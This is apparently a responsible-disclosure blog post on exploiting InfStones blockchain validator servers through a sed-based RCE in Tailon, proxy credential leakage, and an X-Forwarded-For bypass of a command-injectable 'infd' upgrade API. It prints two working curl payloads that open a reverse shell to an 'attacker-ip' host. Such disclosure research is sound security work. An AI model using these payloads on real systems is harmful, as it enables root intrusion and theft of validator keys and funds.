The Billion Dollar Exploit: Collecting Validators Private Keys via Web2 Attacks
Abstract
Blockchain security is usually associated with smart contracts or cryptography attacks. In most cases, people do not consider the security of the actual servers of the network as part of blockchain security. In fact, even bug bounty programs tend to ignore a major component of the network — the validators.
Our research focused on attacking blockchain networks from a more traditional angle. The basic idea is to treat blockchain networks’ central servers (validators) as regular cloud servers and attack them using classic techniques.
A chain of vulnerabilities we discovered and exploited during our research allowed us to gain full control, run code and extract private keys of hundreds of validators on multiple major networks, potentially leading to direct losses equivalent to over one billion dollars in cryptocurrencies such as ETH, BNB, SUI, APT and many others.
These validators were hosted by a validator infrastructure provider called InfStones, a reference to the “infinity stones” in the Marvel Cinematic Universe, where the supervillain Thanos slowly collects infinity stones because once he collects all of them he is able to yield absolute power. That happens to be an extremely useful metaphor to help explain the attack vector we describe in this post; by attacking the validators that run a distributed network separately, and collecting, over time, their private keys the same way Thanos collected Infinity Stones, sophisticated attackers can gain unlimited power over the network, and either DoS it or control it entirely.
The vulnerabilities disclosed by this blog post could have been exploited to steal private keys of Ethereum validators totaling at least 1.2% of Ethereum’s stake (and probably much more — see below), which is a significant potential first step in such an attack. Motivated malicious attack groups could have found this vulnerability, exploited and stolen these private keys and kept them for “judgment day” when they collected enough private keys to control the network — which is why we recommended that InfStones change the validator keys of all exposed validators.
Our research
Our initial target was the Sui blockchain. The Sui blockchain network is written in Rust and is considered a very secure blockchain network.
On the Sui Explorer (https://suiexplorer.com/validators), we found an API call that lists all active validators with their IP addresses or domain names.
Using the extracted data, we produced a list of IP addresses or domain names, and conducted a basic port scan of all servers in all the TCP ports(0–65,535). There were some interesting ports detected, but the most interesting was 55555/tcp on one server.
The owner of this validator- InfStones
According to its name, this server is owned and managed by a company called “InfStones”, which according to their website provides staking services on many protocols and also allows their clients to easily deploy private nodes in many blockchains. At this point, we decided to change course, marking InfStones as our new main target. Our assumption was that we may be able to find issues on this server, that will then allow us to attack many other infStones servers.
InfStones’ website at the time claimed that their validators are 100% secure:
We should use this opportunity to stress two things; first, no digital system is ever 100% secure. And second, as will be shown here, the vulnerabilities found in InfStones made it very far from being secure, and attackers could gain unlimited control over all their validators using rather trivial approaches. Specifically, a “0 slashing” claim could have immediately been invalidated by exploiting the disclosed vulnerabilities.
Cybersecurity should be done by experts and claims around safety and security should be communicated responsibly, because more often than not, over-promising goes hand in hand with under-delivering. Responsibly acknowledging there may be security issues, and encouraging hackers to discover and disclose vulnerabilities through bug bounties is a best practice, as opposed to touting your product as unbreakable and guaranteeing no harm could be done as a user, which should raise red flags. This is but one example of this phenomenon.
Exploring the InfStones validator of the Sui network
We tried to access the suspicious port (55555/tcp) using the web browser and found an interesting service:
This service is an open source tool called Tailon (https://github.com/gvalkov/tailon) which is a simple web service tool for reading log files.
This tool works as follows — the server manager defines which files can be accessed when it is initiated. In addition to reading the tail of a file, users can perform grep searches on the file, as well as use “awk” or “sed” commands with custom parameters.
Exploiting the Tailon service
According to the documentation on the GitHub page, “awk” runs with the “sandbox” flag, which means that the “system” function in the awk script cannot be used. However, it is also mentioned in the documentation that the sed command works as is. So what can we do with the “sed” command?
The most basic thing is to use the “r” command to read files. For example:
But can we do more than that?
After digging into the manual of the “sed” command, we found what we were looking for. The “sed” command supports the “e” flag, which basically allows us to run any shell command we desire on the server.
So we have found an RCE on the Sui validator!
Furthermore, Tailon runs as root user, so our RCE vulnerability gives us root privileges.
Using the Tailon vulnerability to exploit more InfStones servers
As mentioned before, this server is managed by InfStones, which supplies staking services to many different blockchain networks. If we managed to find one server susceptible to this vulnerability, it is a fair assumption that we will be able to find more. In light of this assumption, we searched for similar servers on Censys.
Based on a quick Censys search, we found close to 80 services listening on port 55555/tcp with the “Tailon” service.
However, we encountered another problem at this point. Unlike the Sui validator, some of the servers require basic authentication for access to the “Tailon” service.
In order to better understand this authentication mechanism, we created an account on the InfStones platform and created a simple node in the Threshold blockchain:
Upon successfully creating the node, we found that the InfStones platform offered the option to monitor the logs exactly as Tailon did. However, we also noticed that port 55555 is open in the node we created using the InfStones platform, but authentication is also required.
After a short investigation, we discovered that the InfStones platform exposes an API that works as a proxy that connects us to Tailon.
The relevant API looks like this:
https://cloud.infstones.com/backend/node_log?ip=NODE_IP
So what if we create a server in our cloud listening on port 55555 and ask InfStones’ proxy to access it?
As expected, the proxy tried to connect to our server, and also sent us the username and password in cleartext in the Authorization HTTP header(!)
Using these credentials, we connected to all other servers on Censys, and it worked (these credentials were the same in all the exposed nodes!)
Reporting the initial vulnerability and exploring the attacked servers
At this point, we have full control of around 80 nodes, including some that are validators, and are able to execute code on all of them. We immediately reached out to InfStones (this was early July 2023) and reported this initial vulnerability to them. We notified them that we will explore what could have been attacked through this entry point to understand the scope a potential attacker might have had access to until now.
During our exploration of the servers, we found many interesting files.
AWS credential files were detected on all servers. It appears that when Infstone initiates a new node, it downloads the blockchain network binaries from the S3 buckets.
We found, however, that the credentials stored on each server, do not only have access to read the S3 buckets, but also have access to write to them. This means that an attacker can change the binaries in a bucket and run malicious code on the new nodes that are created using this platform.
Additionally, Exploring the exploited servers, we noticed a service running on port 12345 named “infd”.
We were able to download the binary of this service from one of the servers and found a Go-lang based web server that implements a REST API that can be used to manage nodes.
Exploiting the Infd process
Let’s take a look at the code.
This code implements a REST API server, which provides features for managing the nodes, including extracting some metadata, restarting the protocol binary, and upgrading it.
Upon reviewing the code, we immediately discovered a command injection vulnerability in the “upgrade” route:
Unfortunately, it cannot be easily exploited. JWT authentication is enforced for all requests by the REST server. Delving into the authentication process, we noticed a very interesting “if” condition. There are two situations in which authentication is not enforced: first, when the “CloudProvider” field in the configuration is set to “customer”, and second, when the HTTP request comes from localhost.
First, we wanted to check the CloudProvider setting. Using Censys, we searched for similar servers listening on the same port (12345). About 1200 servers were found (we assumed some of the results were false positives). In our attempt to access all of these servers, we used the REST API route “data”, which, according to the code, should supply some metadata.
We found only one server out of the 1200 with the CloudProvider setting set to “Customer”, which allowed us to run remote commands without JWT authentication.
The server that was accessible without authentication
This server was none other than the InfStones Aptos validator which stakes around 150 million dollars (Link to APTOS explorer).
This vulnerability can be exploited very easily:
curl
-X “PUT”
“http://node-ip:12345/upgrade"
-H “Content-Type: application/json”
-d ‘{“type”:”protocol”,”version”:”test1; `sh -i >& /dev/tcp/attacker-ip/1337 0>&1`”}’
By running this curl command, we can trigger the command injection vulnerability and initiate a reverse shell to our C&C server.
However, this is just one server. Our goal is to find a way to attack all other servers that run this service.
We returned to the code of the authentication process described before. (It should be noted that the REST service was built with the “gin-gonic” Golang HTTP framework). The second condition that does not enforce authentication is if the request comes from localhost. As part of the authentication process, the service checks if “ClientIp” matches 127.0.0.1 and, if so, parses the request without checking the authentication headers. The client IP address is extracted using the gin-conic built-in function “c.ClientIP()”.
This function attempts to return the real IP of the client using a best effort algorithm. However, this is not a simple mission, since reverse proxy servers are very common in today’s networks. The “c.ClientIP” function solves this problem by checking if the remoteIP address of the TCP connection is listed as a “Trusted Proxy”. In this case, the function checks whether one of these flowing headers exists in the request:
- “X-Forwarded-For”
- “X-Real-IP”
In such a case, the IP address of the client will be taken from the header.
What is the problem with this process? A trusted proxy is determined by the “trustedCIDRs” which is set to “0.0.0.0/0” by default. Therefore, if “trustedCIDRs” is not initiated in the code, any client can add an “X-Forwarded-For” header and fake his real IP address (Exploit Below).
We can use the same CURL command from the last exploit and add an HTTP header “X-Forwarded-For: 127.0.0.1”. By doing so, we can bypass the authentication mechanism and run malicious commands on all the servers. According to a quick scan, at least 450 servers are exploitable, and these servers are used as validators in many blockchain networks.
The second exploit with the authentication bypass:
curl
-X “PUT” “http://node-ip:12345/upgrade"
-H “Content-Type: application/json”
-H “X-Forwarded-For: 127.0.0.1”
-d ‘{“type”:”protocol”,”version”:”test1; `sh -i >& /dev/tcp/attacker-ip/1337 0>&1`”}’
Also in this case, Infd process runs as root user, so it has root privileges.
Exploring the affected servers
At this point we can execute commands with root privileges on more than 450 servers across the globe, including many that are used as validators. During our review of the affected servers, we detected many validators in different blockchain networks such as Ethereum, Sui, BSC, Avalanche, Aptos and more.
An attacker exploiting this vulnerability can acquire the private keys of many validators in many different blockchain networks. Over one billion dollars of staked assets were staked on all of these validators, and such an attacker would have been able to gain full control of all of them.
Disclosure and Remediation
Since our initial disclosure in July, we continued communicating all the vulnerabilities we found and their impact to the InfStones team, and suggested that they fix all discovered vulnerabilities, undergo a thorough security audit and rotate all validator keys since they might have been compromised.
According to the InfStones team, they have remediated the vulnerabilities, and although we cannot vouch for their remediation efforts, we were in contact with them and agreed to postpone our public disclosure multiple times, allowing them to have over 4 months to remediate and rotate validator keys for all their validators on multiple networks.
Impact
This section discusses the potential impact that could be caused by an attacker, once they are able to execute commands on validators and extract the private keys. It is important to understand that each protocol behaves slightly differently, so not every example we provide here will apply the same way for all protocols, but the concepts remain the same.
So what can an attacker do, once they have the private keys of the validators?
The first thing is to get the validator “slashed”. Slashing refers to the process of penalizing a validator for behaving improperly.
In Proof-of-Stake (PoS) blockchains (such as Ethereum, Sui, etc), validators are responsible for verifying transactions and adding them to the blockchain. If a validator behaves in a malicious or in a dishonest manner, it may be slashed. This means that a portion of its stake (the amount of assets it has staked as collateral) is destroyed by the network as a penalty.
Thus, an attacker can impersonate the validator using its private key and act maliciously, for example propose and sign two different blocks for the same slot on Ethereum, leading to the validator being slashed. This can cause major damage to both InfStones and the users that delegate to InfStones staking.
The stolen private keys of validators can also be used to withdraw staked funds or to steal the rewards. In some networks (Aptos for example), the private key of the account that receives the rewards from the staking was also stored on the validators. That way, an attacker can withdraw the staking commissions or the staked assets and steal the funds (In InfStones Aptos validator for example, an attacker could have stolen around 145 million dollars).
These vulnerabilities have a substantial impact on networks. As an example, InfStones is one of the major operators in Lido, and only counting the validators used by Lido (and not direct private or institutional customers who run validators directly through InfStones) — the vulnerable validators on InfStones controlled 1.2% of the Ethereum network and 3.6% of Lido, based on Lido’s latest data.
A Word about accountability and responsibility
Interestingly, this study uncovers a gap in the accountability and the responsibility related to the security of the validators of the blockchain networks. Blockchain networks invest a lot of money and resources in the quality of their code and in smart contract security. This is reflected in the large sums offered by their bounty programs. However, the security level of the validators is almost always considered out of scope for such bounty programs. This goes to show that the networks themselves do not take responsibility for the security of their validators which are the actual building blocks of the network, and the most natural entry point for attackers.
This becomes even more visible with projects like Lido, who boast a $2M bug bounty program, but that program doesn’t cover vulnerabilities like these, that end up affecting large parts of Lido and the underlying networks like Ethereum. This gap is one of the root causes of critical vulnerabilities such as the one presented in this post, and the reason we wanted to shine a light to this underexplored area of Web3 security — the Web2 infrastructure of the validators that run Web3 networks.
